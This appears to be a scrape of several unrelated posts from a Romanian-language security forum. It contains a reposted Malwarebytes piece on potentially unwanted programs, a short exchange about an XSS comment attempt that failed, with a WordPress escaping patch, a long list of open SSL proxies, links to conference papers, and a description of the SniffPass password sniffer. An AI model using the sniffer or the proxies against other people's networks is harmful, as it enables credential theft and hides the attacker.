for listing a program as a PUP can be viewed here. The lists is pretty thorough and will most likely continue to evolve as PUP makers diversify their operations. Consumers should be able to make educated choices rather than being mislead down a path that they didn’t intend to take. Unfortunately, because software bundles are such an attractive business model from a financial standpoint, the line between legitimate and fraudulent gets crossed too many times. Special thanks to Adrian Gill, Joshua Cannell and JP Taggart for additional research assistance. Sursa: https://blog.malwarebytes.org/fraud-scam/2014/12/potentially-unwanted-program-borrows-tricks-from-malware-authors/

Pe RST nu a mers, si nu am facut nimic special. Imi facea strip la <script>. Am incercat si alti vectori si tot nu a mers. Am mai incercat pe inca un blog si la fel, nu a mers. PS: Nu va chinuiti sa incercati pe RST. wp-comments-post.php $comment_content = ( isset($_POST['comment']) ) ? trim($_POST['comment']) : null; in $comment_content = ( isset($_POST['comment']) ) ? trim(htmlentities($_POST['comment'], ENT_QUOTES)) : null;

Nu prea a mers...

E Revelionu, nu sta nimeni azi de asa ceva

[h=1]31-12-14 | Free SSL Proxies (3103)[/h]By: gelbeseiten on Dec 30th, 2014 31-12-14 | Free SSL Proxies (3103) Checked & filtered (Secure Socket Layer Proxies) 1.160.13.205:8080 1.162.161.4:9064 1.163.201.41:9064 1.163.80.130:9064 1.164.112.136:9064 1.164.181.116:9064 1.165.162.128:8080 1.169.241.25:9064 1.170.23.91:9064 1.172.22.93:9064 1.172.54.152:9064 1.173.4.78:9064 1.173.63.122:9064 1.174.62.50:9064 1.175.121.231:9064 1.186.217.7:9064 1.186.239.132:9064 1.23.213.99:9064 1.93.8.169:3128 101.1.16.123:3128 101.63.203.130:9064 103.17.164.185:80 103.233.183.6:8080 103.29.221.167:80 103.29.221.20:80 103.41.176.1:7808 104.131.119.230:3128 104.131.122.190:3128 106.37.177.251:3128 107.170.216.78:3128 107.182.17.243:7808 107.182.17.243:8089 109.104.144.42:8080 110.117.90.185:8123 110.232.83.38:8080 111.10.100.136:8123 111.10.100.227:8123 111.10.100.65:8123 111.10.102.43:8123 111.10.103.14:8123 111.10.112.199:8123 111.10.113.183:8123 111.10.117.54:8123 111.10.118.112:8123 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Exploiting Fundamental Weaknesses in Botnet Command and Control (C&C) Panels What Goes Around Comes Back Around ! Aditya K Sood BlackHat Security Conference Las Vegas, USA, 2014 Version 1.1 Abstract This research is primarily focused on the use of penetration testing approach to nd fundamental weaknesses and conguration aws re-siding in Command and Control (C&C) panels used by bot herders to manage botnets. This paper generalizes the ndings that have been noticed during testing and analysis of several C&C panels. Download: http://www.secniche.org/blackhat-2014/blackhat_2014_briefings_whitepaper_exp_cc_flaws_adityaks.pdf

Intel ME Secrets Hidden code in your chipset and how to discover what exactly it does Igor Skochinsky Hex-Rays RECON 2014 Montreal High-level overview of the ME Low-level details ME security and attacks Dynamic Application Loader Results Future work Download: http://recon.cx/2014/slides/Recon%202014%20Skochinsky.pdf

[h=2]SniffPass – Simple Password Sniffer[/h] SniffPass is small password monitoring software (basically a password sniffer) that listens to your network, capture the passwords that pass through your network adapter, and display them on the screen instantly. SniffPass can capture the passwords of the following Protocols: POP3, IMAP4, SMTP, FTP, and HTTP (basic authentication passwords). You can use this utility to recover lost Web/FTP/Email passwords via your own network adapter. [h=2]Requirements[/h] SniffPass can capture passwords on any 32-bit Windows operating system (Windows 98/ME/NT/2000/XP/2003/Vista) as long as WinPcap capture driver is installed and works properly with your network adapter. You can also use SniffPass with the capture driver of Microsoft Network Monitor, if it’s installed on your system. Under Windows 2000/XP (or greater), SniffPass also allows you to capture TCP/IP packets without installing any capture driver, by using ‘Raw Sockets’ method. However, this capture method has the following limitation: On Windows XP/SP1 passwords cannot be captured at all – Thanks to Microsoft’s bug that appeared in SP1 update… On Windows Vista with SP1, only UDP packets are captured. TCP packets are not captured at all. On Windows 7, it seems that ‘Raw Sockets’ method works properly again, at least for now… Do note, this software is NOT designed to grab passwords from other machines on the network, and could do so but only if the computers were connected via a simple hub or unecrypted Wireless networks. You can download SniffPass v1.13 here: sniffpass.zip Or read more here. Sursa: SniffPass - Simple Password Sniffer - Darknet - The Darkside